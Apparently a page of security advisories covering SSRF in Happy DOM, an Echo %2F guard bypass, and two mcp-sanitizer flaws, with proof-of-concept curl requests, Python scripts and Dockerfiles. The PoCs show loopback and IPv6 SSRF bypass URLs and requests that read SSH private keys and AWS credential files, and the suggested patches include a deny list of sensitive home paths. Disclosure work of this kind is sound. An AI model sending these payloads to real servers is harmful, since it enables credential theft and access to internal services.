-Infinity
0
Severity
8.6
SSRF
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 21.0.0, Happy DOM loads iframe src URLs and link rel="stylesheet" href URLs by default while parsing untrusted HTML on the server because disableIframePageLoading and disableCSSFileLoading default to false. An attacker who controls parsed HTML can therefore cause server-side requests to arbitrary internal or cloud endpoints without an application opt-in and may expose confidential responses or credentials returned by those endpoints. This issue is fixed in version 21.0.0.

First published (updated )
Severity
7.5
SSRF
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 21.0.2, the Happy DOM server-renderer package's ServerRendererServer accepts unauthenticated HTTP/2 requests and resolves attacker-controlled :path values against server.targetOrigin in #onIncomingRequest in packages/@happy-dom/server-renderer/src/ServerRendererServer.ts without confirming that the resolved origin remains trusted before calling fetch. A protocol-relative path can change the destination to an arbitrary HTTP or HTTPS endpoint reachable by the server, including local and internal services, and the proxy relays the fetched response headers and body to the requester. This issue is fixed in version 21.0.2.

First published (updated )
Severity
7.5
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

When middleware.Static is mounted globally (e.Use(middleware.Static(...))) and an application relies on a route- or group-level middleware guard to restrict a path that also falls under the served static root, a %2F-encoded request bypasses that guard while the file is still served. This is the same encoding/decoding mismatch fixed for StaticFS/StaticDirectoryHandler in CVE-2026-55677 / GHSA-vfp3-v2gw-7wfq, but the fix did not cover the middleware.Static path. In addition, the StaticConfig.EnablePathUnescaping docstring states the default configuration prevents exactly this bypass, which is inaccurate for the global-mount case.

This is not path traversal: no file outside the static root is accessed. The served file lives inside the static root; the issue is that access-control expectations set by a route guard are inconsistent between the literal and %2F-encoded forms of the same path.

Details

Root cause — the router and the static handler disagree on how to interpret %2F:

- The router matches routes on the raw, still-encoded path, so GET /admin%2Fsecret.txt does not match a /admin/... route or group; any middleware attached to that route/group is therefore skipped. - middleware.Static selects its path source in middleware/static.go (~L219): with a global e.Use mount there is no wildcard route, so it uses c.Request().URL.Path, which net/http has already decoded (%2F → /). It then path.Cleans (~L235) and Opens (~L259) admin/secret.txt, serving the file.

Net effect: for the literal path the guard runs; for the %2F-encoded path the guard is skipped but the same file is served.

Relevant code: - middleware/static.go ~L219 (p := c.Request().URL.Path), ~L235 (path.Clean), ~L259 (currentFS.Open) - StaticConfig.EnablePathUnescaping docstring (static.go ~L60-67) — claims the default prevents the /admin%2fprivate.txt → /admin/ guard bypass; this is not true for the global mount.

Relationship to prior advisories: - CVE-2026-55677 / GHSA-vfp3-v2gw-7wfq (patched 5.2.0): same %2F router-vs-handler mismatch, but fixed for StaticFS/StaticDirectoryHandler. The middleware.Static path was not covered — this report is that gap. - CVE-2026-25766 / GHSA-pgvm-wxw2-hrv9 (patched 5.0.3): a different issue (Windows backslash traversal outside the root). Referenced only to disambiguate; not the same as this report.

PoC

Environment: golang:1.25, module using the official release (go get github.com/labstack/echo/v5@v5.3.1, no local replace). Static root public/ contains a marker file public/admin/secret.txt = SECRET.

Minimal app (the pattern under test: static served globally + a group guard intended to protect /admin):

go package main

import ( "net/http"

"github.com/labstack/echo/v5" "github.com/labstack/echo/v5/middleware" )

func main() { e := echo.New() e.Use(middleware.Static("public")) // serves ./public globally (default filesystem)

admin := e.Group("/admin", func(next echo.HandlerFunc) echo.HandlerFunc { return func(c echo.Context) error { return c.String(http.StatusUnauthorized, "auth required") } }) admin.GET("/secret.txt", func(c echo.Context) error { return c.String(http.StatusOK, "handler") })

e.Start(":1323") }

Requests (unauthenticated):

Literal: route matches -> group guard runs curl -i http://localhost:1323/admin/secret.txt => 401

%2F-encoded: route does NOT match -> guard skipped, but middleware.Static serves the file curl -i --path-as-is http://localhost:1323/admin%2Fsecret.txt => 200, body: SECRET

Observed on v5.3.1: literal → 401; %2F → 200 with the file contents. For contrast, serving via the (patched) e.StaticFS("/") returns 404 for the same %2F request, showing the middleware.Static path was not covered by the CVE-2026-55677 fix.

Impact

An unauthenticated remote user can retrieve a file served by middleware.Static even when the application attached a route/group middleware guard to that path, by substituting / with %2F. The consequence is limited to files already inside the served static root (CWE-863 authorization inconsistency; CWE-436 interpretation conflict) — there is no access to files outside the static root.

Honest caveat on validity / severity: this only has security impact for applications that (a) serve a directory statically to the public and (b) place a sensitive file inside that same directory while relying on a route-level guard to protect it. That combination is arguably a misconfiguration — a statically-served directory is public by design — so maintainers may reasonably classify this as a documentation fix (correct the EnablePathUnescaping claim) or won't-fix rather than a code vulnerability. It is filed primarily because (1) the router-vs-handler %2F inconsistency is the exact class fixed in CVE-2026-55677 but left uncovered for middleware.Static, and (2) the docstring currently promises protection it does not provide.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. With the default settings, the Static middleware resolves files from the same form of the path that the router matched, so percent-encoded paths such as /admin%2Fsecret.txt or /%61dmin/secret.txt no longer reach a file under a guarded route. Paths with ., .. or empty segments are no longer served.

Note: middleware registered with Echo#Use runs before route and group middleware, so route guards never protect files served by a global Static middleware. Keep protected files outside its root directory, or serve them with Echo#Static behind the guard.

Workarounds

Keep files that need protection outside the Static middleware's root directory.

First published (updated )
Severity
8.2
SSRF
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6

Summary

mcp-sanitizer v1.3.3 fails to block Server-Side Request Forgery (SSRF) targets when a localhost URL includes an explicit port (e.g., http://localhost:8080/) or when an IPv6 loopback/link-local address is expressed in bracketed notation (e.g., http://[::1]:8080/, http://[fe80::1]:8080/). Because the library is explicitly designed to gate MCP tool parameters such as webfetch and webscraper before outbound HTTP requests are made, a bypass here directly enables an attacker-controlled URL to reach internal services, leaking their responses.

Details

The vulnerability exists in src/utils/validation-utils.js inside the validateURLLocation() function that is called by secureSanitizeURL() in src/sanitizer/mcp-sanitizer.js:698.

Bug 1 — Port-guarded localhost check (line 274–276):

js // src/utils/validation-utils.js:274-276 if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) { throw new Error('URL points to localhost without explicit port'); }

The && !parsedUrl.port guard means that any localhost URL that includes a port number is not thrown. http://localhost:8080/ passes the check entirely, returning blocked: false with the original URL preserved.

Bug 2 — Bracketed IPv6 hostname mismatch (lines 272, 293–295):

js // src/utils/validation-utils.js:293-295 if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) { throw new Error(URL points to link-local address: ${hostname}); }

The Node.js URL API returns parsedUrl.hostname for IPv6 addresses with surrounding brackets: [::1], [fe80::1]. The string comparison hostname === '::1' (line 274) and hostname.startsWith('fe80:') (line 293) therefore never match, because the actual string starts with [.

Data flow through the middleware:

1. src/middleware/express.js:499 — tool name derived from req.params.toolName || req.body?.toolname. 2. src/middleware/express.js:548-554 — webscraper/webfetch params.url forwarded to sanitizer.sanitize(url, { type: 'url' }). 3. src/sanitizer/mcp-sanitizer.js:527-528 — context type url routes to secureSanitizeURL(). 4. src/sanitizer/mcp-sanitizer.js:698-700 — validateURLLocation(parsedUrl) called; on success, parsedUrl.toString() returned to caller as the sanitized, trusted URL.

Both bugs are in the default code path; no special configuration is required to trigger them.

Suggested patch:

diff --- a/src/utils/validation-utils.js +++ b/src/utils/validation-utils.js @@ const { URL } = require('url'); +const net = require('net'); @@ - const hostname = parsedUrl.hostname.toLowerCase(); + const hostname = parsedUrl.hostname.toLowerCase().replace(/^\[|\]$/g, '').replace(/\.$/, ''); @@ - if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) { - throw new Error('URL points to localhost without explicit port'); + if (hostname === 'localhost' || hostname.endsWith('.localhost') || hostname === '::1') { + throw new Error('URL points to localhost or loopback'); } @@ - if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) { + if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:') || + hostname.startsWith('fc') || hostname.startsWith('fd')) { throw new Error(URL points to link-local address: ${hostname}); } + + if (net.isIP(hostname) === 6 && (hostname === '::1' || hostname.startsWith('fe80:'))) { + throw new Error(URL points to restricted IPv6 address: ${hostname}); + }

PoC

Prerequisites: Docker installed; no other dependencies required.

1. Build the Docker image:

bash docker build \ -f vuln-001/Dockerfile \ -t vuln-001-mcp-sanitizer \ reports/npmAI754starman69mcp-sanitizer

2. Run the PoC:

bash docker run --rm vuln-001-mcp-sanitizer

The poc.py script inside the image: - Starts a mock internal HTTP service on 127.0.0.1:8080 serving the string INTERNALSECRETDATA9f3a2b1c. - Calls sanitizer.sanitize(url, { type: 'url' }) via Node.js for five URLs (two expected-blocked, three bypass candidates). - Performs an actual GET http://localhost:8080/ using the sanitizer-approved URL and confirms the secret is returned.

Expected output (abbreviated):

[BYPASSCONFIRMED] http://localhost:8080/ blocked=False sanitized=http://localhost:8080/ [BYPASSCONFIRMED] http://[::1]:8080/ blocked=False sanitized=http://[::1]:8080/ [BYPASSCONFIRMED] http://[fe80::1]:8080/ blocked=False sanitized=http://[fe80::1]:8080/ [SSRF HTTP 200] GET http://localhost:8080/ => 'INTERNALSECRETDATA9f3a2b1c\npath=/' [!!!] INTERNAL SECRET EXFILTRATED: INTERNALSECRETDATA9f3a2b1c RESULT: PASS - SSRF bypass fully demonstrated end-to-end

Baseline controls confirm the library does block http://localhost/ and http://127.0.0.1/ (blocked: true), proving the bypasses are not a general failure but a precise gap in the validation logic.

Minimal inline repro (no Docker):

bash Inside the mcp-sanitizer repository root (npm ci first) node - <<'NODE' const MCPSanitizer = require('./src/sanitizer/mcp-sanitizer'); const sanitizer = new MCPSanitizer(); for (const url of [ 'http://localhost:8080/', 'http://[::1]:8080/', 'http://[fe80::1]:8080/' ]) { const r = sanitizer.sanitize(url, { type: 'url' }); console.log(url, '=> blocked=', r.blocked, 'sanitized=', r.sanitized); } NODE

Impact

This is a Server-Side Request Forgery (SSRF) vulnerability. Any application that:

1. Uses mcp-sanitizer's sanitize() / createMCPToolMiddleware() as the security boundary for outbound URLs, and 2. Passes the returned sanitized URL to an HTTP client (the library's documented intended use for webfetch/webscraper MCP tools),

is exploitable by any party that can supply the url parameter — typically an unauthenticated network attacker in an MCP server deployment.

Consequences: - Confidentiality (High): The attacker can retrieve responses from internal services such as cloud metadata endpoints (e.g., http://169.254.169.254/), admin panels, or any localhost daemon, potentially exposing credentials, tokens, or sensitive configuration. - Integrity (Low): If internal services expose writable APIs, the attacker can trigger state changes or issue commands via HTTP. - Availability: Not directly impacted.

The vulnerability requires no authentication, no special configuration, and no user interaction; it is exploitable in the default middleware path.

Reproduction artifacts

Dockerfile

dockerfile FROM node:18-alpine

Install Python3 for the PoC script RUN apk add --no-cache python3

WORKDIR /app

Copy package files first for better layer caching COPY repo/package.json repo/package-lock.json ./

Install Node.js dependencies (clean install, no dev deps) RUN npm ci --ignore-scripts --omit=dev

Copy library source COPY repo/src ./src/

Copy PoC script COPY vuln-001/poc.py ./poc.py

Run the PoC by default CMD ["python3", "poc.py"]

poc.py

python #!/usr/bin/env python3 """ PoC for VULN-001: mcp-sanitizer SSRF bypass via localhost+port and IPv6 bracket notation Library: mcp-sanitizer v1.3.3 (commit caff5d6) CWE-918: Server-Side Request Forgery CVSS 3.1: 8.2 (High)

Root cause: src/utils/validation-utils.js:274: if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) - The "&& !parsedUrl.port" guard means any localhost URL WITH a port bypasses the block. - Node.js URL API returns hostname as "[::1]" / "[fe80::1]" (with brackets) for IPv6, so the string equality check against "::1" and startsWith("fe80:") both silently fail.

Attack scenario: 1. Attacker controls the "url" parameter of a webfetch / webscraper MCP tool call. 2. The server calls sanitize(params.url, { type: 'url' }) and trusts the result. 3. Because the bypass succeeds, the server makes an outbound HTTP request to an internal service (localhost:PORT), leaking its response to the attacker. """

import subprocess import sys import json import http.server import threading import urllib.request import os

───────────────────────────────────────────────────────────────────────────── Step 1: Start a mock "internal" service on 127.0.0.1:8080 This simulates a privileged internal endpoint (e.g., metadata API, admin panel) that should never be reachable from external input. ───────────────────────────────────────────────────────────────────────────── INTERNALPORT = 8080 INTERNALSECRET = "INTERNALSECRETDATA9f3a2b1c"

class InternalServiceHandler(http.server.BaseHTTPRequestHandler): """Simulates a restricted internal HTTP service (e.g., admin API or metadata endpoint)."""

def doGET(self): self.sendresponse(200) self.sendheader("Content-Type", "text/plain") self.sendheader("X-Internal", "true") self.endheaders() self.wfile.write(f"{INTERNALSECRET}\npath={self.path}\n".encode())

def logmessage(self, fmt, args): pass # Suppress default access logs for cleaner output

internalserver = http.server.HTTPServer(("127.0.0.1", INTERNALPORT), InternalServiceHandler) srvthread = threading.Thread(target=internalserver.serveforever, daemon=True) srvthread.start() print(f"[] Mock internal service started on 127.0.0.1:{INTERNALPORT}") print(f"[] Internal secret: {INTERNALSECRET}\n")

───────────────────────────────────────────────────────────────────────────── Step 2: Run the mcp-sanitizer via Node.js to test bypass URLs ───────────────────────────────────────────────────────────────────────────── NODESCRIPT = r""" 'use strict'; const MCPSanitizer = require('./src/sanitizer/mcp-sanitizer'); const sanitizer = new MCPSanitizer();

const tests = [ // These should be BLOCKED (baseline: library is supposed to block localhost) { url: 'http://localhost/', expectBlocked: true }, { url: 'http://127.0.0.1/', expectBlocked: true }, // These are the BYPASS cases (the vulnerability) { url: 'http://localhost:8080/', expectBlocked: false }, { url: 'http://[::1]:8080/', expectBlocked: false }, { url: 'http://[fe80::1]:8080/', expectBlocked: false }, ];

const out = tests.map(t => { let result; try { result = sanitizer.sanitize(t.url, { type: 'url' }); return { url: t.url, blocked: result.blocked, sanitized: result.sanitized, expectBlocked: t.expectBlocked }; } catch (err) { return { url: t.url, blocked: true, sanitized: null, expectBlocked: t.expectBlocked, error: err.message }; } });

process.stdout.write(JSON.stringify(out)); """

print("[] Running mcp-sanitizer URL sanitization tests via Node.js ...") proc = subprocess.run( ["node", "-e", NODESCRIPT], captureoutput=True, text=True, cwd="/app" )

if proc.returncode != 0: print(f"[ERROR] Node.js process exited with code {proc.returncode}") print(f"stderr: {proc.stderr}") sys.exit(2)

if not proc.stdout.strip(): print("[ERROR] No output from Node.js process") print(f"stderr: {proc.stderr}") sys.exit(2)

results = json.loads(proc.stdout)

───────────────────────────────────────────────────────────────────────────── Step 3: Print sanitizer results and identify bypassed URLs ───────────────────────────────────────────────────────────────────────────── print("[] Sanitizer results:\n") header = f"{'URL':<35} {'blocked':<8} {'sanitized':<35} status" print(header) print("-" len(header))

bypassurls = [] unexpected = []

for r in results: blocked = r["blocked"] expected = r["expectBlocked"] sanitizedstr = str(r.get("sanitized") or "null") status = "OK" if blocked == expected else "UNEXPECTED" if not blocked and r.get("sanitized"): bypassurls.append(r["sanitized"]) status = "BYPASSCONFIRMED" print(f"{r['url']:<35} {str(blocked):<8} {sanitizedstr:<35} {status}") if blocked != expected: unexpected.append(r)

print()

───────────────────────────────────────────────────────────────────────────── Step 4: Perform actual SSRF request using the bypassed localhost:8080 URL This proves the sanitizer flaw leads to real internal service access. ───────────────────────────────────────────────────────────────────────────── ssrfconfirmed = False ssrfevidence = None ssrfurl = "http://localhost:8080/"

if ssrfurl in bypassurls: print(f"[] Attempting SSRF: GET {ssrfurl} (using sanitizer-approved URL) ...") try: resp = urllib.request.urlopen(ssrfurl, timeout=5) body = resp.read().decode().strip() print(f"[] HTTP response status: {resp.status}") print(f"[] HTTP response body:\n {body.replace(chr(10), chr(10) + ' ')}") if INTERNALSECRET in body: ssrfconfirmed = True ssrfevidence = body print(f"\n[!!!] INTERNAL SECRET EXFILTRATED: {INTERNALSECRET}") except Exception as exc: print(f"[ERROR] HTTP request failed: {exc}") else: print(f"[WARN] {ssrfurl} was not in bypassurls; skipping actual SSRF step")

internalserver.shutdown()

───────────────────────────────────────────────────────────────────────────── Step 5: Final verdict ───────────────────────────────────────────────────────────────────────────── print(f"\n{'='65}") print("VERDICT") print(f"{'='65}") print(f" Bypass URLs confirmed by sanitizer: {len(bypassurls)}") print(f" Bypassed URLs: {bypassurls}") print(f" Actual SSRF HTTP request succeeded: {ssrfconfirmed}") print(f" Exfiltrated secret matches: {ssrfconfirmed and INTERNALSECRET in (ssrfevidence or '')}")

if ssrfconfirmed and len(bypassurls) >= 2: print("\n RESULT: PASS - SSRF bypass fully demonstrated end-to-end") print(" - mcp-sanitizer v1.3.3 did NOT block localhost:8080, [::1]:8080, [fe80::1]:8080") print(f" - Actual HTTP GET to internal service returned: {ssrfevidence!r}") sys.exit(0) elif len(bypassurls) >= 2: print("\n RESULT: PARTIAL - sanitizer bypass confirmed but live HTTP request failed") print(f" - {len(bypassurls)} URLs bypassed sanitizer: {bypassurls}") sys.exit(1) else: print("\n RESULT: FAIL - expected at least 2 bypass URLs") sys.exit(1)

First published (updated )
Severity
7.5
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

File Path Sanitizer Permits Arbitrary User-Home Absolute Paths

Summary

mcp-sanitizer v1.3.3 explicitly whitelists /home/ and /Users/ as allowed absolute path prefixes in its file path validation logic (src/utils/validation-utils.js:188-196). As a result, paths such as /home/alice/.ssh/idrsa and /home/alice/.aws/credentials pass through sanitizer.sanitize() with blocked=false, even though they point to highly sensitive files outside any configured safe root. Any consumer application that trusts the sanitized path and passes it to a filesystem read/write operation (e.g., fs.readFile) will expose arbitrary user-home directory files to an unauthenticated network attacker. Dynamic reproduction confirmed exfiltration of a simulated SSH private key and AWS credentials via a single HTTP POST request.

Details

The vulnerability resides in the validateFilePath function inside src/utils/validation-utils.js. When an absolute path falls outside the configured safe root directories, the function performs a secondary check against a hardcoded allowlist:

js // src/utils/validation-utils.js:188-196 if (!isInSafeLocation && path.isAbsolute(normalizedPath)) { const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/']; const isAllowedAbsolute = allowedAbsolutePaths.some(allowed => normalizedPath.toLowerCase().startsWith(allowed.toLowerCase()) );

if (!isAllowedAbsolute) { throw new Error('Absolute path not in allowed safe directory'); } }

Because /home/ and /Users/ are included in allowedAbsolutePaths, any path beneath those directories — including ~/.ssh/idrsa, ~/.aws/credentials, ~/.kube/config, ~/.gnupg/, etc. — is considered safe and passes validation unchanged.

The dangerous paths (dangerousUnixPaths at src/utils/validation-utils.js:135) only cover /etc/, /proc/, /sys/, /dev/, /root/, /boot/, /usr/bin/, and /sbin/. Home-directory sensitive subdirectories (.ssh, .aws, .gnupg, .kube, .config) are never checked.

The full data flow from a network request to the vulnerable return value is:

1. src/middleware/express.js:538-541 — The Express middleware routes filereader/filewriter tool parameters to sanitizer.sanitize(params.filepath, { type: 'filepath' }). 2. src/sanitizer/mcp-sanitizer.js:523-524 — When context.type === 'filepath', secureSanitizeFilePath() is called. 3. src/sanitizer/mcp-sanitizer.js:683-687 — validateFilePath() is invoked; if it does not throw, the normalized path is returned as the sanitized value. 4. src/utils/validation-utils.js:188-196 — The /home/ prefix check passes without error. 5. src/utils/validation-utils.js:200-201 — The original, attacker-controlled absolute path is returned to the caller as a trusted, sanitized value.

A consumer application receiving { blocked: false, sanitized: '/home/victim/.ssh/idrsa' } is expected to use that path for I/O. The sanitizer's own README and middleware integration imply that a blocked: false result is safe to act upon.

Suggested patch:

diff --- a/src/utils/validation-utils.js +++ b/src/utils/validation-utils.js @@ const dangerousUnixPaths = ['/etc/', '/proc/', '/sys/', '/dev/', '/root/', '/boot/', '/usr/bin/', '/sbin/']; + const sensitiveHomeFragments = [ + '/.ssh/', '/.aws/', '/.gnupg/', '/.kube/', '/.config/', + '/.npmrc', '/.env' + ]; @@ + const normalizedForSensitiveCheck = normalizedPath.replace(/\\/g, '/').toLowerCase(); + if (sensitiveHomeFragments.some(fragment => normalizedForSensitiveCheck.includes(fragment))) { + throw new Error('Access to sensitive user configuration path not allowed'); + } @@ - const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/']; + const allowedAbsolutePaths = ['/tmp/', '/var/tmp/'];

PoC

Environment requirements: Docker, Python 3, Node.js 20

Step 1 — Build and start the reproduction container:

bash From the vuln-002/ directory python3 poc.py

The script automatically: 1. Copies the mcp-sanitizer source into a Docker build context. 2. Creates simulated victim files at /home/victim/.ssh/idrsa and /home/victim/.aws/credentials inside the container. 3. Builds a consumer HTTP server (server.js) that calls sanitizer.sanitize() and then fs.readFile on the returned path. 4. Sends the three test requests described below.

Step 2 — Manual HTTP requests (after the container is running on port 13572):

Control test — must be blocked: bash curl -s -X POST http://127.0.0.1:13572/tool \ -H 'Content-Type: application/json' \ -d '{"toolname":"filereader","parameters":{"filepath":"/etc/passwd"}}' Expected: {"blocked": true}

Exploit test 1 — SSH private key exfiltration: bash curl -s -X POST http://127.0.0.1:13572/tool \ -H 'Content-Type: application/json' \ -d '{"toolname":"filereader","parameters":{"filepath":"/home/victim/.ssh/idrsa"}}' Expected: {"blocked": false, "EXPLOITSUCCESS": true, "filecontent": "-----BEGIN RSA PRIVATE KEY-----..."}

Exploit test 2 — AWS credentials exfiltration: bash curl -s -X POST http://127.0.0.1:13572/tool \ -H 'Content-Type: application/json' \ -d '{"toolname":"filereader","parameters":{"filepath":"/home/victim/.aws/credentials"}}' Expected: {"blocked": false, "EXPLOITSUCCESS": true, "filecontent": "[default]\nawsaccesskeyid = ..."}

Observed results (Phase 2 dynamic reproduction):

[Test 1 — Control] POST /tool {filepath: '/etc/passwd'} => blocked=true ✓ (dangerousUnixPaths correctly blocks /etc/)

[Test 2 — Exploit] POST /tool {filepath: '/home/victim/.ssh/idrsa'} => blocked=false, EXPLOITSUCCESS=true sanitizedpath: /home/victim/.ssh/idrsa filecontent: -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK SECRETKEYCONTENTEXFILTRATEDVIAHOMEPATHBYPASSVULN002 -----END RSA PRIVATE KEY-----

[Test 3 — Exploit] POST /tool {filepath: '/home/victim/.aws/credentials'} => blocked=false, EXPLOITSUCCESS=true filecontent: [default] awsaccesskeyid = AKIAIOSFODNN7EXAMPLE awssecretaccesskey = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY region = us-east-1

Root cause confirmed: validation-utils.js:190 — allowedAbsolutePaths includes '/home/' and '/Users/'; any absolute path starting with /home/ passes with blocked=false.

Impact

This is a Path Traversal / Improper Path Restriction (CWE-22) vulnerability.

Any application that integrates mcp-sanitizer to validate file paths for MCP filereader or filewriter tools is affected. The library is explicitly designed for use in MCP servers exposed over a network via the Express middleware. An unauthenticated remote attacker can supply an absolute path to any file under /home/ or /Users/ — requiring no authentication, no special privileges, and no interaction from a legitimate user.

Sensitive targets include but are not limited to: - SSH private keys (~/.ssh/idrsa, ~/.ssh/ided25519) - Cloud provider credentials (~/.aws/credentials, ~/.config/gcloud/credentials.db) - Kubernetes config (~/.kube/config) - GPG keys (~/.gnupg/) - Application tokens (~/.npmrc, ~/.netrc, ~/.env)

The confidentiality impact is High because SSH keys and cloud credentials grant full access to remote systems and cloud infrastructure. There is no integrity or availability impact, as the vulnerability is limited to reading (and potentially writing) files.

Reproduction artifacts

Dockerfile

dockerfile VULN-002 Reproduction: mcp-sanitizer v1.3.3 /home/ path bypass Builds a Node 20 container with: - mcp-sanitizer source from the local repo - Fake sensitive files in /home/victim/.ssh/ and /home/victim/.aws/ - A consumer HTTP server that trusts the sanitizer

FROM node:20-slim

LABEL vuln="VULN-002" \ cwe="CWE-22" \ title="mcp-sanitizer home-directory path bypass"

Install mcp-sanitizer production dependencies WORKDIR /app/repo COPY repo/package.json repo/package-lock.json ./ RUN npm ci --omit=dev --no-audit --no-fund

Copy mcp-sanitizer source code COPY repo/src ./src

Create simulated victim home directory with sensitive files These represent secrets a real attacker would target RUN mkdir -p /home/victim/.ssh /home/victim/.aws RUN echo '-----BEGIN RSA PRIVATE KEY-----' > /home/victim/.ssh/idrsa && \ echo 'MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK' >> /home/victim/.ssh/idrsa && \ echo 'SECRETKEYCONTENTEXFILTRATEDVIAHOMEPATHBYPASSVULN002' >> /home/victim/.ssh/idrsa && \ echo 'CVEVULN002SANITIZERALLOWSHOMEDIRECTORYABSOLUTEPATHS' >> /home/victim/.ssh/idrsa && \ echo '-----END RSA PRIVATE KEY-----' >> /home/victim/.ssh/idrsa && \ chmod 600 /home/victim/.ssh/idrsa RUN echo '[default]' > /home/victim/.aws/credentials && \ echo 'awsaccesskeyid = AKIAIOSFODNN7EXAMPLE' >> /home/victim/.aws/credentials && \ echo 'awssecretaccesskey = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY' >> /home/victim/.aws/credentials && \ echo 'region = us-east-1' >> /home/victim/.aws/credentials && \ chmod 600 /home/victim/.aws/credentials

Copy the consumer server application WORKDIR /app COPY server.js ./server.js

EXPOSE 3000

CMD ["node", "server.js"]

poc.py

python #!/usr/bin/env python3 """ VULN-002 Dynamic Reproduction PoC mcp-sanitizer v1.3.3 — File path sanitizer permits arbitrary user-home absolute paths (CWE-22)

Vulnerability: src/utils/validation-utils.js:188-196 explicitly whitelists '/home/' and '/Users/' as allowed absolute path prefixes. A path like /home/victim/.ssh/idrsa passes sanitizer.sanitize(path, {type: 'filepath'}) with blocked=false, and the consumer app reads the file using the trusted sanitized path.

Attack chain: 1. Attacker sends POST /tool with filepath=/home/victim/.ssh/idrsa 2. sanitizer.sanitize() returns {blocked: false, sanitized: '/home/victim/.ssh/idrsa'} 3. Consumer app calls fs.readFile(sanitizedpath) — trusting the sanitizer 4. SSH private key contents returned in HTTP response (exfiltrated)

Usage: python3 poc.py """

import json import os import shutil import subprocess import sys import tempfile import time import urllib.request import urllib.error

Paths SCRIPTDIR = os.path.dirname(os.path.abspath(file)) REPODIR = os.path.abspath(os.path.join(SCRIPTDIR, "..", "repo")) PHASE2RESULT = os.path.join(SCRIPTDIR, "phase2result.json")

Docker settings IMAGENAME = "vuln002-mcp-sanitizer-poc" CONTAINERNAME = "vuln002-poc-container" HOSTPORT = 13572 # High port to avoid conflicts

BASEURL = f"http://127.0.0.1:{HOSTPORT}" TOOLURL = f"{BASEURL}/tool" HEALTHURL = f"{BASEURL}/health"

def log(msg): print(f"[poc] {msg}", flush=True)

def saveresult(passed, verdict, reason, evidence, buildcmd, runcmd): result = { "passed": passed, "verdict": verdict, "reason": reason, "buildcommand": buildcmd, "runcommand": runcmd, "poccommand": "python3 poc.py", "evidence": evidence, "artifacts": ["Dockerfile", "poc.py", "server.js"] } with open(PHASE2RESULT, "w", encoding="utf-8") as f: json.dump(result, f, indent=2, ensureascii=False) log(f"Saved phase2result.json (verdict={verdict})")

def run(cmd, timeout=300, capture=True): """Run a subprocess command and return (returncode, stdout, stderr).""" result = subprocess.run( cmd, captureoutput=capture, text=True, timeout=timeout ) return result.returncode, result.stdout, result.stderr

def stopcontainer(): subprocess.run( ["docker", "rm", "-f", CONTAINERNAME], captureoutput=True, timeout=15 )

def httppost(url, payload, timeout=8): data = json.dumps(payload).encode("utf-8") req = urllib.request.Request( url, data=data, headers={"Content-Type": "application/json"}, method="POST" ) with urllib.request.urlopen(req, timeout=timeout) as resp: return json.loads(resp.read().decode("utf-8"))

def httpget(url, timeout=5): with urllib.request.urlopen(url, timeout=timeout) as resp: return json.loads(resp.read().decode("utf-8"))

def waitforserver(maxwait=40): log(f"Polling {HEALTHURL} until ready (max {maxwait}s)...") deadline = time.monotonic() + maxwait while time.monotonic() < deadline: try: resp = httpget(HEALTHURL) if resp.get("ok"): log("Server is up and responding.") return True except Exception: pass time.sleep(0.6) return False

def preparebuildcontext(): """ Create a temporary Docker build context containing: buildctx/ Dockerfile server.js repo/ package.json package-lock.json src/ """ buildctx = tempfile.mkdtemp(prefix="vuln002-ctx-") log(f"Build context directory: {buildctx}")

# Copy Dockerfile and server.js from this script's directory for fname in ("Dockerfile", "server.js"): src = os.path.join(SCRIPTDIR, fname) dst = os.path.join(buildctx, fname) shutil.copy2(src, dst) log(f" Copied {fname}")

# Copy only the necessary repo files (skip nodemodules to keep context small) repodst = os.path.join(buildctx, "repo") os.makedirs(repodst) shutil.copy2(os.path.join(REPODIR, "package.json"), repodst) shutil.copy2(os.path.join(REPODIR, "package-lock.json"), repodst) shutil.copytree( os.path.join(REPODIR, "src"), os.path.join(repodst, "src") ) log(f" Copied repo/src and package files")

return buildctx

def main(): log("=" 60) log("VULN-002 Dynamic Reproduction — mcp-sanitizer /home/ bypass") log("=" 60)

# Validate prerequisites if not os.path.isdir(REPODIR): log(f"ERROR: Repo not found at {REPODIR}") saveresult(False, "FAIL", f"재현 전제조건 미충족: repo 디렉터리({REPODIR})가 존재하지 않음.", "", "", "") return 1

rc, , = run(["docker", "info"], timeout=10) if rc != 0: log("ERROR: Docker daemon is not accessible.") saveresult(False, "FAIL", "Docker 데몬에 접근할 수 없음. Docker가 실행 중인지 확인하시오.", "", "", "") return 1

# Clean up any leftover container from a previous run stopcontainer()

buildctx = None try: # Step 1: Prepare build context buildctx = preparebuildcontext()

